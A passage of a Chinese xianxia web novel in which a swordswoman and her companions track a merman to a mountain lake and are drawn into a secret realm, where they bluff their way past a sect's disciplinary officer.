老林头在听澜镇生活了几十年,怎会没见过鲛人,如今矢口否认,只有一个可能,他见过,并且被要求保密。
对方大概是把她当成了凡人,自以为她是想来一开眼界。可惜身为修士,鲛人到底存不存在,她岂会不知?
“镇上人都说您网着了鲛人,”李长缨又摸出块碎银子,在指间翻转,“您让我看看呗。”
双眼死死盯着碎银,老林头喉结滚动了下:“都是醉话,何必当真。”
“是吗?”她拖长声调,散漫道,“您窗台上摆着的那颗珠子,成色不错。”
顺着她的目光望去,木窗台上放着一颗浑圆发亮的淡蓝色珍珠,与整座木屋的古旧风格截然不同。
倒是与一路上给李长缨他们引路的珍珠别无二致。
他瞬间脸色发白,猛扑过去一把将珍珠攥在手里,动作快得不似老年人:“我、我不知道你在说什么……”
“据我所知,此地归血蛟帮管辖。若是
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发现鲛人踪迹,隐瞒不报者,”她慢条斯理道,“按帮规处置。”
慢慢抽出佩剑,寒光出鞘,他直接腿一软跪在了地上。
“别!别!我说!”老林头连连哀求,手指哆嗦着抓住她衣袍下摆,“是遇到一只,但不是我捞到的!”
随意坐在一个木凳上,她抽回衣袍,摩挲着手中佩剑,声音冷淡:“从头说。”
“上午……我照例出海打鱼,”他咽了口唾沫,“在黑石礁那边下网,有人拍了拍我背,我回头一看,居然是个蓝色头发的人……”
“然后?”
“他给了我一颗鲛珠……其实这玩意我认得,住在听澜镇的人怎会不识鲛人,”额角渗出冷汗,他继续道,“他叫我编个故事,就说我今天捕鱼捞到了个鲛人,哦对了,还要我必须传播出去。”
“不过他又嘱咐我,若是有人来寻他,叫我先抵抗一下,不要直接承认。”
拙劣的伎俩,很有苍溟的风格。
李长缨心中冷笑:“他去哪了?”
“不知道,”老林头猛地摇头,见她不信,颤着声对天竖起三指,“指天发誓也不知道,他安排好这一切,就直接转身离开了。”
正要收剑,门外忽闻异响,她剑锋一转直指门口:“谁?”
“是我,”奚不言的声音自外边传来,“血蛟帮的人来镇上了。”
闻言,老林头吓得直接瘫软在地,□□洇出深色水渍。李长缨抛下碎银,砸在他胸口:“管好你的嘴。”
走出门外,奚不言低声道:“有人称在黑石礁附近听见类似鲛人的歌声,是从隐仙山的方向传来的。”
隐仙山盘踞在血蛟岛的最西侧,整座山峰形似展翅欲飞的仙鹤,终年被沉沉雾霭笼罩。据说有位修士大能在此了悟,得道飞升,因此冠名“隐仙”,取“仙人隐于此”之意。
至于具体是何方神仙,尚且不知。
虽是座仙山,却人迹罕至,岛上居民大都避如蛇蝎。原因无他,先前偶有几个贸然登山者,无一不是有去无回。
渐渐地,隐仙山甚至传出了“闹鬼”之说,仙人飞升的美谈摇身一变,成了飞升失败后堕鬼索命这个版本。
“看来血蛟帮也已知道此事,不然动作不会这么快。”李长缨眉头紧锁,指间把玩着一块碎银。
奚不言略一点头:“眼下如何?去看看?”
她挑眉:“自然,他费尽心思引我们来这里,不就是想让我们追查下去么?”
…………
与庄青青会合后,三人站在通往山巅的唯一道路前,面色凝重。
山涧深处不时飘来一阵清越的歌声,似远似近,在林间轻轻回荡。
似是察觉到几人的犹豫,歌声加重了几分,曲调急转,仿佛在催促着什么。
李长缨:“……”
深吸一口气,她郑重道:“走吧。”
还未动身,前方蓦地传来金属碰撞的声音,透过树影,隐约可见十几支火把正沿着山路移动,暗红色的衣角在火光映照下时隐时现。
“他们怎么……”李长缨心下惊诧。
血蛟帮的动作也太快了点,这便追到隐仙山来了?!
领头的帮众举起铜铃摇晃,刺耳的铃声惊起一片归巢的飞鸟。
“分三队搜!”他粗声粗气道,“帮主吩咐了,活捉鲛人,重赏!”
22. 隐仙
避免冲突,三人果断猫腰钻入侧面的岩缝。
潮湿的岩壁上布满绿色苔藓,滑腻异常,艰难穿过最窄处时,头顶传来碎石滚落的声音。
几块石渣掉在地上的积水坑中,溅起不小的水花。
回声在狭小的空间里回荡。
“谁在那里!”
火把的光亮骤然逼近,照亮七八张狰狞的面孔,和卡在岩缝中的三人面面相觑。
“你是……李小月?”领头的汉子迟疑一瞬,和身边人交换了个眼神,目光一暗,不留情面地厉声喝道,“血蛟帮奉命搜查,闲杂人等退避!”
李长缨冷声道:“这山路写你们血蛟帮名字了?”
对面人一噎,顾及她是帮主座上宾,不敢太过怠慢,语气稍缓:“李姑娘,帮主有令,不得不从,还望姑娘理解。”
“那就对不住了,”她手握剑柄轻轻一抽,露出几寸雪刃,“我与人有约,此路非走不可。”
一上来就打架?
手按在腰间弯刀上,汉子张了张口,心道若是真打起来,帮主会不会责难自己还真不好说。
“道友且慢。”
身后传来一道浑厚的男声,赵无涯捋着胡须,缓步走来。
一路走到李长缨面前,他含笑拱手:“此山近日不太平,李道友若是有约,不妨换个地方?”
庄青青皱着眉插话:“太不太平也不是你说了算的,不劳你操心,况且哪有喊人改约的道理?”
哪来的丫头片子。
赵无涯笑意不减,目光沉沉地打量着这个突然冒出来的少女,见她袖袍上绣有蓬莱阁的流云丹鼎徽征,眼中暗芒划过,面上苦笑道:“还请几位道友体谅,帮规森严,今日若放行,我等回去都要被喂蛟龙……”
奚不言折扇一展,温声打断:“赵执事,你可记得血蛟帮第七条帮规是什么?”
在场所有人都愣住了,赵无涯下意识答道:“‘信义为先,令牌为首’,凡事以帮主令为重。”
“那便巧了,”他从袖中取出一块铜质令牌,“我们这刚好有一块帮主令,不知赵执事你认不认得?”
“见令牌如见帮主,你们自己立的规矩。”他笑着补充道。
盯着众人惊诧的目光,其中也包括李长缨的,他上前一步,把令牌举给他们看。
怎么会?!
冷汗簌簌而下,赵无涯盯着令牌,脸色惨白,嚅嗫道:“是帮主令不错,可是……”
不过是完成了一次帮里的悬赏,帮主竟然肯给他们令牌,凭什么……他心中惊疑不定,死死盯着令牌,力求找到一丝破绽。
可惜没有,这的确是血蛟帮令牌,他不会看错。
血蛟帮令牌不止做工复杂,且每块皆附有一缕属于白绮罗本人的神识,他再熟悉不过。
就算仿制令牌做工再逼真,那缕神识也作不得假。
可令牌的分发有严格制度,以往只有白绮罗的心腹能得到。他身为执事,在她身边干了十多年之久,上个月才终于得到一块令牌,昭示他获得了帮主的认可和信赖。
这个叫作“李小月”的女修当真如此厉害,不过一面之缘,能让帮主破例给出一块令牌?
不止如此,他还听说她一口拒绝了帮主的招揽,简直是有眼不识泰山……
忿忿想着,与此同时,他心底升起一丝隐秘的嫉妒。
眼神几欲变化,赵无涯面上维持着假笑,行礼道:“是在下冒犯,惊扰了诸位,在下这就撤防。”
他转身,敛了笑容,对身后帮众吼道:“都聋了吗?给李道友和她朋友让路!”
从他们身边穿过时,李长缨瞥见赵无涯眼中一闪而过的寒光,再看时,却只剩一贯的温和笑意。
拐过山道,直到最后一片暗红色衣角消失在视线中,她忍不住问道:“你哪来的令牌?”
一言难尽地看了她一眼,奚不言启唇:“你整理玉面罗刹给的锦盒时,从里面掉出来的,我还问过你此物何用。”
细细想了想,好像是有这么回事,可她当时全然没在意。
李长缨选择闭嘴。
庄青青好奇道:“什么锦盒?你们和玉面罗刹有交情?”
两人对视一眼,李长缨漫不经心地点头:“完成了一次她发布的悬赏,这是赏金。”
“海寇的悬赏?任务内容是什么?”她来了兴趣,继续问道。
顿了顿,李长缨低声道:“我把韩破浪杀了,拿金丹换的赏钱。”
???
庄青青眼中写满无法掩饰的惊愕。
韩破浪?
那个五大海寇之一?
派手下跑到青龙号上搞事的那位?
李长缨拍拍她肩,一脸淡定:“还好,不难杀。”
一抬眸,便看见奚不言似笑非笑地看着她,回敬一个略带警告的眼神后,她率先向隐仙山深处走去。
山路在穿过一片竹林后骤然变窄,青石台阶缝隙处钻出毛茸茸的蕨类植物。李长缨用剑鞘拨开垂落的藤蔓,露出后面半截残碑,碑上朱红的“隐仙”二字黯淡失色。
的确是久无人造访。
小径蜿蜒而上,每隔十余步,便能在杂草间看见闪着蓝光的珍珠。越往深处走,岩壁逐渐平整,人工开凿的痕迹愈发明显,两侧出现规则的凹槽,像曾经放置火把的地方。
转过一道弯,山体凹进去个黑黝黝的洞口。奚不言指尖凝出一团灵光,莹白的光晕照亮洞口铭文。
“玉鼎洞府”。
庄青青突然发出一声惊呼。
似是着了魔般,她伸出手指轻抚凹凸不平的铭文,嘴里喃喃:“原来真的存在……”
“存在什么?”李长缨不解。
“你们不是蓬莱阁中人,定然不知,我宗门传记中曾记载,数千年前蓬莱阁有丹修飞升,是为丹仙,一直被尊为宗门鼻祖。”庄青青话语中带着沮丧。
李长缨蹙眉:“丹仙?”
这确是闻所未闻,她只知道世有飞升者,唯剑、医、琴三仙。
“你不知道正常,只有我们宗门一直坚持认为丹仙存在,”庄青青摆摆手,“你们看书上记载——”她从怀中掏出一本泛黄的书籍,哗啦啦翻到某页:“‘丹仙居玉鼎,炉结玄霜,壁生云纹’,这也是我们宗门徽征样式的由来!”
她难掩兴奋:“想不到这个‘玉鼎’竟是玉鼎洞府之意!原来如此、原来如此!”
“为何世人不知丹仙存在?”李长缨眉头紧锁。
飞升之人千年难遇,不仅需要极高的天赋和举世无双的修为,更需要可遇不可求的机缘。
是以几千年来,整个东大陆也只有三人飞升,而这三人无一不是扬名天下,为世人所传颂。
庄青青挠挠头:“原因很简单……丹仙飞升后没有给信徒们提供庇佑。书上说他成为神仙之后的一百多年里,丹修进境比较容易,想来是他挡了一部分天劫,可后来便再无任何迹象……甚
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至有段时间高阶丹修进境无一成功,非死即疯。害得蓬莱阁人才凋敝,少了很多入丹道之人暂且不提,天赋尚可的丹修也不愿继续进境,生怕哪天就被天雷劈得身死魂消。”
闻言,李长缨若有所思。
哪一道有人飞升,的确会给该道的其余修士提供庇佑。
如剑仙飞升后,剑修们进境便轻松了很多,虽然渡劫失败者仍大有人在,但相较于其他道的修士,高阶剑修格外多。这不仅是由于选择剑道的人本就高于其他,更因为剑仙法力强,可以在剑修们渡劫时拦一下。
听起来轻描淡写,但仙凡有别,神仙动动手指,于人而言便是天大的动静。
“所以这是……丹仙飞升前的洞府?”她伸手触碰岩壁,铭文上的金漆剥落,黏在她指尖。
数千年前的洞府。
洞内空间比预想的宽敞,室内除一张石板床外,空无一物,只有厚厚一层灰尘彰明无人踏足的寂寥。从前大概摆放在此地的木制书架和功法秘籍,早在漫长岁月中化作尘土。
鲛人的歌声幽幽传来,如泣如诉。
“走吧,他在引我们去某个地方。”奚不言轻声道。
洞府外,散落的珍珠渐渐密集起来,形成一条清晰的光路,指向更高处的山巅。
最后一段路的攀登近乎垂直,风化严重的石阶需要手脚并用,偶尔要借岩缝中的树根发力。
“到了。”奚不言的声音从上方传来。
李长缨抓着最后一块凸岩,探头一看,呼吸瞬间凝滞。
山巅竟是个碗状的巨大天坑,坑底是面镜子般的圆形水潭,泛着幽蓝光泽,四周矗立着一根根石笋,顶端凝结的水珠折射出七色虹光。
沿着坑壁小心下行,潭边散落着一颗颗饱满的珍珠,零零散散绕满整个水潭。
水潭忽然泛起涟漪。
水面中心无风自动,开始快速旋转,漩涡越来越大——
“哗啦”一声,银蓝色长发破水而出。
苍溟支起上身,水珠顺着苍白的脖颈滚落,海藻般的头发垂落肩头,浅淡的眸子望向岸边,嗓音不辨悲喜。
“你们来了。”
指尖按在剑柄上,李长缨死死盯着他,警惕他的任何动作:“你故意引我们来?”
“我别无选择,”他面无表情,与从前那副天真模样大相径庭,“受人所托,对不住了,各位。”
话音未落,他伸手拽下颈间的月牙吊坠,指间稍一用力,“咔嚓”一声,吊坠裂为两半。
刹那间,整座水潭剧烈震颤,潭水涌起,漩涡中心陡然塌陷,露出下方漆黑的深渊。李长缨一行人脚下的地面寸寸龟裂,朝深渊方向坍塌。
“苍溟,你!”庄青青厉喝一声,伸手欲抓他,却只触到一片冰冷的鱼尾。
苍溟的身形在漩涡中渐渐模糊,声音含混穿透水浪。
“秘境开启,有缘再会。”
语未毕,潭底猛然爆发出一股可怖的吸力,地面轰然崩塌。
李长缨只觉脚下一空,身体不受控制地向下坠去,拔剑斩向虚空,剑气却在触及漩涡的瞬间被吞噬殆尽。
“李……!”奚不言猛地扑来,一把扣住她手腕,可那股吸力太过强悍,连带着他一同被拽入其间。
庄青青的呼唤尚未来得及出口,便也被翻涌的浪涛吞没。
最后一幕,李长缨只看到苍溟那双平静无波的眼睛。
而后,便是无尽的坠落。
23. 归墟
下坠感骤停,李长缨重重摔在青石地面上。
她下意识摸向脸颊,惊觉手感不对。
易容被解除了,连带着伪装的细小疤痕和暗沉肤色都不复存在。
“这是何地?”奚不言的声音从右侧传来。
她抬眸望去,见他也恢复了本来样貌,一双狐狸眼微微上挑,鼻梁高挺,薄唇紧抿。
两人对视一眼,都从对方眼里看到一丝困惑。
李长缨撑起身子,目光明显一愣。
她正跪在一片青石砖上,周身是一处规格庞大的居所,白墙黑瓦层层叠叠,飞檐斗拱穿插其间,皆为上品木料所制,偶有三两翠竹,竹叶交相掩映。不远处,一座莲池浮着墨绿莲叶,粉白莲花半开未绽,池底游弋的锦鲤穿梭于丛生的莲叶间,泛起细碎涟漪。
一呼一吸间,充沛的灵气盈满肺腑,抚慰她从高处跌落而致的疼痛。
“秘境?”她想起坠落黑暗前似乎听到苍溟的低语,掐了掐掌心,疼痛感倒是十分真实。
回头看向奚不言,她才发觉他有什么不对劲。
他向来一袭青衫,可眼下,他身上穿的是一件素白衣袍,腰间挂着一块青玉名牌,“奚不言”三字隐约可见。
低头一看,不知何时,她身上也换上了同款素袍,腰间玉牌明晃晃写着“李长缨”。
摩挲着玉牌,奚不言低声道:“这里是灵音学宫。”
“你如何知晓?”李长缨愕然。
他将玉牌翻转一面,背后四个大字跃入眼中——
“灵音学宫”。
李长缨:……
是她大意了。
理了理凌乱的衣着,她直起身,好奇地打量四周。
此地环境清幽,竹叶清香萦绕鼻尖,试探地在附近走走,发现除他们二人外,空无一人。
秘境可以看作一个大型阵法,若想成功离开秘境,必须找到对应的阵眼,而这个过程离不开和秘境中人交流以寻找线索。
附近居然没人。
李长缨拧眉,回头望向奚不言:“要不我们一同去远点的地方探索一番?”
他颔首,正要抬步离开,天上忽然传来一阵惊呼。
李长缨猛地抬头,只见天穹骤然裂开一道缝隙,缝隙背后是浓得化不开的黑。熟悉的银蓝色身影从裂缝中笔直坠落,长发如瀑,在风中狂舞。
“砰!”
那人的身躯砸在莲池里,水花炸起一丈高,池中锦鲤惊得四散。入水瞬间,两米有余的鱼尾化作人腿,同款素白衣袍缓缓显现,青玉名牌上刻着“苍溟”二字。
亲眼见到统一的服饰和名牌如何出现,李长缨瞪大眼睛,心下称奇。
不过现在不是想这些的时候,眼前这个人,是害他们进入秘境的罪魁祸首。
她轻巧跃至池畔,星澜剑出鞘,直指他咽喉:“你又在耍什么花样?”
苍溟扑腾几下,勉强直起身子,口中呛出几大口池水,湿漉漉的长发上粘着无数细小浮萍,看起来狼狈不堪。
“我怎么也进来了……明明说好不会波及我的……”他烦躁地抓下一把浮萍,嘴里不住抱怨。
李长缨剑锋往前一送,戳在他颈侧,颗颗血珠顺着脖颈滑落。
感觉到痛意,他抬眼,与她燃着滔滔怒火的眼眸对视须臾,眼珠一转,才发现自己目前处境之危险,稍有不慎恐怕便会被眼前人毫不犹豫斩于剑下。
苍溟连连后退,双手举起,面上浮现惶恐之色。
“我、我不是有意让你们进来的……不不不,我也不知道这是怎么回事,你别迁怒我呀……”
嘴角轻扬,她冷笑一声,手中添了几分力,剑尖“噗嗤”一声没入皮肉半寸。
她启唇,眼中冷意更甚:“‘秘境开启,有缘再会’,不是你说的?”
他痛得瑟缩了一下,唯唯诺诺道:“是我说的,但我真的不知道会这样……”
还在装。
李长缨不耐烦地啧了声,握剑的手指攥得发白,心中只剩一个字。
杀。
杀了他,杀了这个害得她误入秘境的人。
正要抬手给他个教训,远处忽传来几声喧哗。
“夫子今日教授的课业好难,御剑术还是学不会……”
“我也没大听懂,不如去找应师兄问问吧?”
“应师兄最近都在闭关,我不敢去打扰他,并且身为丹修,他也会御剑吗?”
“你在说什么,怎么可能有应师兄不会的事……”
几名小弟子背着剑,说笑着缓步走来,幸有竹叶遮掩,暂时没发现他们。
李长缨与奚不言交换了个眼神,他从芥子囊中取出一根捆仙索,干脆利落将苍溟五花大绑。
“喂,你们……!”
察觉到有人靠近,苍溟刚想张口求救,便被她径直往嘴里塞了块手帕。他“呜呜”地抗议起来,试图制造些大点的动静。
星澜剑倏地横在他颈间,李长缨漠然道:“再出声,杀了你。”
身体猛地抖了一下,苍溟回想起方才她眼中一闪而过的杀意,毫无疑问,若非那几个小弟子的出现,他怕是早已成了她剑下亡魂。
思及此,他乖乖低头,不再乱动。
环顾四周,附近居室大多在门口挂着一块木牌,其上写着弟子姓名。只有角落处的一间厢房上未挂木牌,门口石阶苔痕遍布,门框结着蛛网。
李长缨果断踢开门,将苍溟牵进去,奚不言回身关门,顺便落了道隔音的结界。
室内陈设简单,只有一张檀木床、一个倾倒的丹炉、和一张书案,都覆盖着厚厚一层灰尘。
俨然是久无人居住。
简单施了个清洁术,她坐在檀木床上,支着头,冷声道:“如实招来,为何要将我们引入此地?”
苍溟眨眨眼,打量着她和奚不言的神色,斟酌道:“我并无恶意,实在是事出有因……”
还在打太极。
李长缨目光骤冷,准备直接动手,却见奚不言手腕一翻,指间霎时凝出一根银针。
银针抵在苍溟太阳穴,他柔声开口:“想好了再说。”
顿时,苍溟双眼惊恐地瞪大,心中咆哮。
恶魔!简直是恶魔!!
这人不是医修吗,医者仁心,怎么心肠也如此歹毒?!
他不得不收起想推脱的心思,深吸一口气,正色道:“此事还需从两月前说起……”
“两月前,我们鲛人一族捡到了一块丹炉碎片,看似普通,然而其中蕴含着取之不尽的魔气,族长疑心是上古魔神的遗留之物,决定交给魔尊。”
魔神?
李长缨眼神一凛,心下登时思忖起来,魔神和丹炉有什么关系。
抬眼看向奚不言,他正抚着下巴
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,若有所思。
苍溟继续交代:“可是不等族长交出那个东西,族里便发生了异变。不少族人的鳞片变成黑紫色,时不时渗出黑色汁液,皮肤呈现出蛛网般的纹路,就算泡在水里也无济于事。这种状况愈演愈烈,甚至到最后,除我之外,其他人无一幸免——这也是近几个月鲛人不再现身的原因。”
“族长把这个变化告诉了魔尊,魔尊说是受魔气污染所致,只要我们完成一件事,他可以提供消除魔气的办法。”
“你为何没有被污染?”她冷不丁问道。
闻言,苍溟抿了抿唇,眼神飘忽几瞬,才低低开口:“我比较爱出门,捡到丹炉碎片那段时日,我正在东大陆附近海域,离得太远未受影响,是族长给我传信才得知此事。”
“魔尊交代的事,便是让我找几位修士,想办法把他们骗到隐仙山,打碎吊坠,打开归墟秘境……哦对了,那个月牙状的吊坠也是他给我的,他还特别强调,必须找实力较强的修士。”
归墟秘境?
听起来有些耳熟,不过李长缨想不起来在何处听到过。
她眼神微暗:“所以你撞上青龙号,不是巧合?”
“是……也不是,”苍溟弱弱辩解,“行驶在无望海上的修士的船挺多的,我本来不知道找哪艘,可我闻到你们船上有同族的气息,以为有跟我一样的幸存者……”
想起那个朝鲛人转化失败的极乐宫弟子,李长缨气得想笑。
谁能料到当初随手教训人,会引出后续这么一长串事情。
他诚恳道:“但是我真的不知道打碎吊坠会如何,我只想着完成了任务,就可以救我的族人。”
“万一会害得你找的修士陷入死地呢?你可曾想过?”她冷声问道。
苍溟眼中划过一丝茫然:“我没想过,不过不至于吧?”他皱着眉思考:“魔尊似乎……没有随意杀人的癖好?”
李长缨:……
这个家伙,真当魔尊是好相与的么?
奚不言表情复杂:“你方才说的魔尊,是哪位?”
“西境魔尊,谢拾七。”苍溟老老实实答道。
沉默片刻,他松开手,银针化作一团灵光飞入掌心。
观他面色有异,李长缨好奇道:“有交情?”
一抬眸,他便看见她眼中闪烁的八卦之色。
明显一噎,奚不言无可奈何:“李道友,杏林门毕竟是正派宗门。”
言下之意便是——
他怎么可能和魔尊有交情?不想在修真界立足了么?
李长缨“哦”了声,摸摸鼻梁,扭头看见苍溟脸上幸灾乐祸的神情一闪而过,当即拔剑,厉声道:“你的事还没清算完。”
苍溟立刻缩了缩脖子,哀嚎:“该交代的我都交代了,其他的我真的不知道啊……”
“呵。”
一声极轻的冷笑从厢房角落传来。
三人猛地回头,只见原本空无一人的阴影处,缓缓浮现一道盘坐的身影。
那人一袭素白长袍,袖口绣有银线云纹,眉目如画,一双眼眸似浸着腊月寒冰,眉心一点红痣,衬得肤色如雪。
他目光沉沉扫过三人,空气仿佛凝滞了一瞬。
“私闯静室,喧哗扰修,”目光落在苍溟缚着的捆仙索上,他站起身,声音低沉而冷冽,“还对同门用私刑,你们是想被逐出学宫么?”
24. 蒙混
您哪位?
这句话差点脱口而出,李长缨转念一想,自己身处秘境,按照对方的视角,她身为学宫弟子不应不知道他的身份,若是贸然说出口,反倒惹人怀疑。
也不知这人在此地待了多久,大概从他们进门起就一直在,说不定将他们的对话全听了去,恐怕已经在疑心她的身份。
李长缨手指轻蜷,一脸纠结。
似是看出她内心的挣扎,白衣青年冷冷道:“我是执法堂弟子,应凡生。”
他顿了顿,眉心蹙起,忍不住发问:“你不知道我?”
应凡生?
等等,方才那几个路过弟子提到什么“应师兄”,不会就是眼前这人吧?
自己这是……一来就撞上个大的?
她心中叫苦不迭。
浅淡的眸子转向苍溟银蓝色长发上,他语气疑惑:“你是……鲛人?我不记得学宫有鲛人弟子。”
“我、我的确是学宫弟子,我有玉牌的。”
虽然搞不懂什么学宫不学宫的,但苍溟有种直觉,如果他不立刻认下自己的弟子身份,下场估计不太好。
他慌慌张张地取下玉牌给对方看,应凡生瞥了一眼,微微颔首。
重新将视线投回李长缨和奚不言二人身上,他正欲开口,奚不言俯身行礼,脸上带着温和笑意:“见过应师兄。”
你怎么变脸如此之快??
李长缨瞪了他一眼,随他一同拱手:“见过应师兄。”
“不必多礼,”应凡生摆摆手,神情肃然,“你们二人私罚同门,触犯学宫禁令,按律,当罚鞭刑三十,紧闭三日。”
话音未落,奚不言的笑容出现一丝裂痕,他不可置信地喃喃道:“鞭刑?紧闭?”
“嗯,”应凡生点点头,严肃道,“看在你们是初次犯错,我可以酌情减半,不过领罚后,必须在善恶台大声宣读你们的认罪书。”
还要写认罪书?
还要在大庭广众之下宣读??
李长缨气得想吐血,被莫名其妙拉进秘境不说,不罚眼前这个挨千刀的罪魁祸首,罚她这条被殃及的池鱼,天理何在。
干脆打一架罢,她对这个破秘境的阵眼毫无头绪,想要通过寻常方法离开,不知道要等到猴年马月,反正只要把人全杀光,秘境会自行崩溃。
当然,这些话她只敢想想,且不论杀光所有人的可行性,就这个所谓的“应师兄”,她便直觉自己打不过。
君子报仇十年不晚,你给我等着。
见二人一脸不平,应凡生微微扬眉:“可有异议?”
异议自然有,能不能说给你听是另外一回事。
李长缨咬牙切齿地想着。
“应师兄明鉴,”奚不言上前一步,姿态恭敬而不卑不亢,“我二人并非动用私刑,而是……一场误会。”
应凡生略感意外:“哦?”
奚不言从容抬手,指向苍溟:“苍师弟不久前修炼时走火入魔,气血逆行,险些伤及经脉,我们不得已用捆仙索束缚,助他稳定内息。”
苍溟:“……?”
谁是你师弟?谁走火入魔了?
李长缨瞬间会意,顺势收剑,故作凝重道:“正是如此,他方才面色发青,气息紊乱,显然是内功运转出了岔子。”
转头看向苍溟,应凡生见他唇角残留血丝,头发上粘着来自莲池的细碎浮萍,的确是一副走火入魔后果断投入池塘静心之相。
奚不言又叹道:“可惜我们修为尚浅,虽暂时稳住他的情况,却无法根治,正想寻应师兄相助,没想到您就在此处。”
应凡生沉默一瞬,轻声道:“医道一术,我并不擅长,不过可以让我看看。”说罢,他抬手扣住苍溟脉门。
鲛人浑身一僵,却不敢反抗。
“气血逆行、灵力紊乱……”他略微蹙眉,“修的可是《太虚水诀》?”
奚不言面不改色:“正是,他急于突破第三重,不慎出了差错。”
收回手,应凡生叹了口气,声音骤冷:“《太虚水诀》至阴至寒,强行突破只会反噬自身。”他从芥子囊中取出一粒赤色丹药,递给苍溟:“服下,调息半个时辰。”
接过丹药,苍溟硬着头皮道:“……多谢师兄。”
应凡生又看向李长缨和奚不言,语气稍缓:“既是救人,情有可原,但学宫严禁私自动武,下不为例。”
奚不言拱手一笑:“谨遵师兄教诲。”
待他离去,静室门扉合上的刹那,苍溟一把捏碎手中丹药,轻哼一声:“你们人族说起谎来,倒是眼都不眨。”
掸了掸袖口,奚不言悠然道:“若非如此,你现在已经被锁进刑堂了。”
他登时反唇相讥:“那是你们,不是我。”
李长缨抱剑而立,眸光沉沉:“闭嘴,再多说把你丢进池塘喂鱼。”
她转头望着奚不言:“那个应凡生虽暂时瞒过,但迟早会察觉异常,我们必须尽快行动,你们可有破开秘境的经历?”
奚不言摇摇头:“医修不似其他修士,不会进入秘境寻宝以追求提升。不过我对此略有耳闻,常规方法无外乎躬身入局,破解秘境主人留下的谜题,或许是一段执念,或许是一个强敌,不过……”
他话锋一转:“也有人剑走偏锋,一剑斩之直接突破。”
闻言,李长缨看了看怀中的剑,再看看窗外层叠的白墙黑瓦,眼睛亮了亮。
似是明白她想做什么,奚不言微愣:“等等,你别……”
话未说完,她纵身掠出窗外,足尖轻点,身形如燕,星澜剑铮然出鞘,剑锋凝聚起耀眼灵光。
“李长缨!”奚不言低喝一声,却已来不及阻拦。
半空中,她剑势已成,灵力灌注剑身,星澜剑迸发出刺目银光。凌空一斩,剑气如银河倾泻,狠狠劈向天幕。
既然苍溟进入秘境时,天穹裂开了道口子,便说明那里是秘境边界所在,只要她斩碎天穹,理应能破开秘境。
“轰——”
震耳欲聋的碰撞声响彻整座学宫,剑气与天幕悍然相撞。然而,预想中的崩裂并未出现,整个天空震颤了一瞬,反震之力将李长缨狠狠掀飞出去。
她闷哼一声,身形倒飞数丈,眼看就要撞上墙体,奚不言闪身而至,一把揽住她的腰身,借势旋身卸力,稳稳落回地面。
“鲁莽!”他低声斥道,略带几分罕见的薄怒。
李长缨握剑的手微微发麻,虎口被震裂,鲜血顺着剑柄滴落。甩了甩手上血珠,她咬牙道:“天幕的确是边界之处,只是我的修为不足以劈开它。”
看来直接破开秘境的法子行不通,她不免有些沮丧。
“何人在此放肆?”
一声冷喝如惊雷炸响。远处长廊上,应凡生眸光森寒,袖袍翻飞,两道捆仙索破空而来,直逼他们面门。
李长缨一把拽住奚不言手腕:“走!”
脚尖一点,他们跃至廊檐,向前狂奔。
捆
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仙索宛如灵蛇出洞,一路如影随形,不出片刻,将二人捆了个结实,越是挣扎,束缚便越紧。
应凡生负手而立,寒声道:“在比试台外私自动武,罪加一等。”他袖袍一挥:“押入刑堂,待审后重罚。”
几名学宫弟子应声上前,架起二人便走。李长缨暗自咬牙,试图以体内灵力震开捆仙索,却只换来绳索更深地勒入皮肉。奚不言倒是神色如常,眸光微转,似在思考对策。
…………
刑堂内,烛火幽暗,墙上挂着各式刑具,森冷慑人。
应凡生高坐主位,翻开一本厚重的案册,执笔蘸墨,声音不疾不徐。
“姓名。”
李长缨撇嘴,不情不愿道:“李长缨。”
“师承。”
“无门无派。”
笔锋一顿,他抬眼看她:“学宫弟子,岂会无师承?”
奚不言适时开口,语气诚恳:“应师兄有所不知,我们确是药宗新收的弟子,只是尚未正式录入名册。”
这人居然知道灵音学宫的构成……
李长缨瞳孔微张,双手虽反剪在后,还是悄悄给他鼓了鼓掌。
注意到她的小动作,他眉眼弯弯。
“药宗?”应凡生眼神一暗,无视二人间的暗流涌动,“何人引荐?”
“无人引荐,”奚不言顿了顿,补充道,“是我们自发报名的。”
“自行报名?”应凡生眉头紧锁,“距离上次药宗开门收徒,已过去二月有余,按学宫律例,超过一月未拜师者,应主动离开,你们这是……?”
询问的目光落在他们二人身上,李长缨朝奚不言挤挤眼睛,暗示他快想。
抿了抿唇,奚不言正要开口,刑堂沉重的乌木大门突然被打开。
“且慢。”
一道沉稳女声响起,众人回首望去,只见一位身着月白广袖长裙的女子立于门口,明眸皓齿,双瞳剪水。她缓步走进,周身萦绕淡淡药香,在刑堂内弥漫开来。
应凡生起身拱手:“庄教习。”
女子颔首,目光扫过被缚的二人,叹道:“应师侄,此二人是我私下里新收的徒弟,还未登记。今日之事,实属误会。”
李长缨震惊地看着这位“庄教习”,那眉眼轮廓分明就是庄青青,只是看起来年岁长了不少,原本圆润的脸庞变得清瘦,连身高都拔了一截。
但她悄悄眨眼时,那狡黠的神态依然如故。
应凡生神色复杂:“这二人擅自动武,有损学宫安宁。”
“是我让他们去的,”庄青青上前,步伐沉稳优雅,伸出纤长手指指向李长缨,“我看这位徒儿在剑道一术上更精绝,便想让她练习一二……但她才入门,不大清楚学宫的规矩,还望应师侄看在我的面子上,多多包涵。”最后一句话,她稍微加重了些语气。
应凡生浑身一震,连忙拱手行礼:“教习言重了,快快松绑。”
…………
待离开刑堂百步之遥,确认无人跟踪后,庄青青忽地腿一软,被李长缨一把扶住。
“你……”看着她成熟许多的面容,李长缨一时不知如何开口。
“别问,我也不知是怎么回事,”庄青青摸了摸自己的脸,声音恢复了往日的清脆,只是低沉了些许,“我一进来就变成这样了,脑子里还多了好多乱七八糟的医术。”
奚不言若有所思:“看来秘境在根据‘角色’调整我们的形象,你被认定为‘药宗教习’,所以……”
25. 证道
“原来是这样吗,”庄青青皱眉不解,“为何你们都是普通弟子,就我是教习,还偏偏是药宗教习?可我对医道一窍不通……”
李长缨心底觉得蹊跷,蓦然想到什么,猛退一步,手中长剑直指她心口。奚不言脸色微变,显然是和她想到一处去了,后退几步,指间银针缓缓现形。
俱是一副随时可以发起攻击的状态。
她警惕道:“你我初遇时发生了什么?简单说几句即可。”
秘境中邪祟夺舍之事时有发生,先前她和奚不言深陷被捕一事,突遇庄青青解围,一时松懈,竟忘了验证是否为本人。
庄青青明显一愣,少顷才明白二人意思,清清嗓子,一脸坦然:“你我初遇时是在杏林门辖地内的港口,准备同乘青龙号……后来在船上,有个极乐宫弟子骚扰我,是你出手解围……”
说罢,李长缨收起剑,放下心来:“如此详细,看来没被夺舍。方才一时情急,抱歉。”
